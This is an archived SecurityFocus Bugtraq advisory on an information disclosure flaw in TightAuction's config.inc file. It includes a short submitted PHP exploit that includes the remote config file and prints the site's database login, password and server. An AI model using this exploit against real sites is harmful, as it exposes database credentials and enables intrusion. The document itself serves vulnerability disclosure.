Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

TightAuction Config.INC Information Disclosure Vulnerability

This issue can be exploit with a web browser.

The following exploit code was also submitted:

<?
$victime="http://[target]";
include("$victime/config.inc");
print("Infos de la DataBase du site $victime : \n \n");
print("Login : $DB_Username \nPassword : $DB_Password \nServer :
$DB_Database");
?>







 

Privacy Statement
Copyright 2009, SecurityFocus